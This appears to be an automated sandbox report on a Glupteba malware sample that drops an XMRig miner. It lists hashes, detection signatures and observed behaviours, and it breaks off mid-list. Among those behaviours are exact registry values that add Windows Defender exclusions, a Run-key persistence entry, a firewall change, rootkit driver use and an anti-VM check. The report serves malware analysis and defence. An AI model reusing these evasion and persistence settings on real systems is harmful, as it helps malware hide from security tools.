Analysis
-
max time kernel
286s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-04-2024 23:09
Static task
static1
Behavioral task
behavioral1
Sample
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe
Resource
win7-20240221-en
General
-
Target
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe
-
Size
4.2MB
-
MD5
08b4b79e38098f63c2f042fd14b050ce
-
SHA1
b10793e6fd33bac98c854144375747006ffff1d0
-
SHA256
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198
-
SHA512
6b806ccafdadc0dc7d33e765d111e5fc6a6db496694dd3eb4d6ae980dbc8a35353629d74ff0d5270e46697a6fbf595d2cde724b0b738f23faa1b9b019437b0d6
-
SSDEEP
98304:+xYk/Wd4gprCGADohyqBdv1Fi5ytzZrDpDNRM:wnWmu2kBdS54nBNi
Malware Config
Signatures
-
Glupteba payload 36 IoCs
Processes:
resource yara_rule behavioral2/memory/5064-2-0x0000000005140000-0x0000000005A2B000-memory.dmp family_glupteba behavioral2/memory/5064-3-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/5064-301-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/5064-303-0x0000000005140000-0x0000000005A2B000-memory.dmp family_glupteba behavioral2/memory/972-305-0x00000000050D0000-0x00000000059BB000-memory.dmp family_glupteba behavioral2/memory/972-308-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/972-576-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/972-1046-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1052-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1562-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1789-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1795-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1798-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1800-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1802-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1804-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1806-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1808-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1810-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1812-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1814-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1816-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1818-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1820-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1822-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1824-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1826-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1828-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1830-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1832-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1834-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1836-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1838-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1840-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-1842-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3708-2090-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba -
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 3188 netsh.exe -
Executes dropped EXE 4 IoCs
Processes:
csrss.exeinjector.exewindefender.exewindefender.exepid process 3708 csrss.exe 5016 injector.exe 4412 windefender.exe 4268 windefender.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/4412-1794-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4268-1801-0x0000000000400000-0x00000000008DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx behavioral2/memory/4100-2138-0x0000000000400000-0x00000000008E1000-memory.dmp upx -
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 7 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Drops file in Windows directory 4 IoCs
Processes:
csrss.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe File created C:\Windows\rss\csrss.exe c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 2148 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4260 schtasks.exe 4612 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
windefender.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exepowershell.exenetsh.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-31 = "Mid-Atlantic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1042 = "Ulaanbaatar Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-681 = "E. Australia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-272 = "Greenwich Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-362 = "GTB Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2341 = "Haiti Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-32 = "Mid-Atlantic Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-392 = "Arab Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" windefender.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exepowershell.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exepid process 3404 powershell.exe 3404 powershell.exe 3404 powershell.exe 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 2436 powershell.exe 2436 powershell.exe 2436 powershell.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 1016 powershell.exe 1016 powershell.exe 1016 powershell.exe 4604 powershell.exe 4604 powershell.exe 4604 powershell.exe 4496 powershell.exe 4496 powershell.exe 4496 powershell.exe 3376 powershell.exe 3376 powershell.exe 3376 powershell.exe 4072 powershell.exe 4072 powershell.exe 4072 powershell.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 3708 csrss.exe 3708 csrss.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 3708 csrss.exe 3708 csrss.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 3708 csrss.exe 3708 csrss.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe 5016 injector.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
Processes:
powershell.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exedescription pid process Token: SeDebugPrivilege 3404 powershell.exe Token: SeDebugPrivilege 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Token: SeImpersonatePrivilege 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Token: SeDebugPrivilege 2436 powershell.exe Token: SeDebugPrivilege 1016 powershell.exe Token: SeDebugPrivilege 4604 powershell.exe Token: SeDebugPrivilege 4496 powershell.exe Token: SeDebugPrivilege 3376 powershell.exe Token: SeDebugPrivilege 4072 powershell.exe Token: SeSystemEnvironmentPrivilege 3708 csrss.exe Token: SeSecurityPrivilege 2148 sc.exe Token: SeSecurityPrivilege 2148 sc.exe Token: SeDebugPrivilege 4856 powershell.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execmd.execsrss.exewindefender.execmd.exedescription pid process target process PID 5064 wrote to memory of 3404 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 5064 wrote to memory of 3404 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 5064 wrote to memory of 3404 5064 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 2436 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 2436 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 2436 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 4788 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 972 wrote to memory of 4788 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 4788 wrote to memory of 3188 4788 cmd.exe netsh.exe PID 4788 wrote to memory of 3188 4788 cmd.exe netsh.exe PID 972 wrote to memory of 1016 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 1016 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 1016 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 4604 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 4604 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 4604 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe powershell.exe PID 972 wrote to memory of 3708 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 972 wrote to memory of 3708 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 972 wrote to memory of 3708 972 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 3708 wrote to memory of 4496 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4496 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4496 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 3376 3708 csrss.exe Conhost.exe PID 3708 wrote to memory of 3376 3708 csrss.exe Conhost.exe PID 3708 wrote to memory of 3376 3708 csrss.exe Conhost.exe PID 3708 wrote to memory of 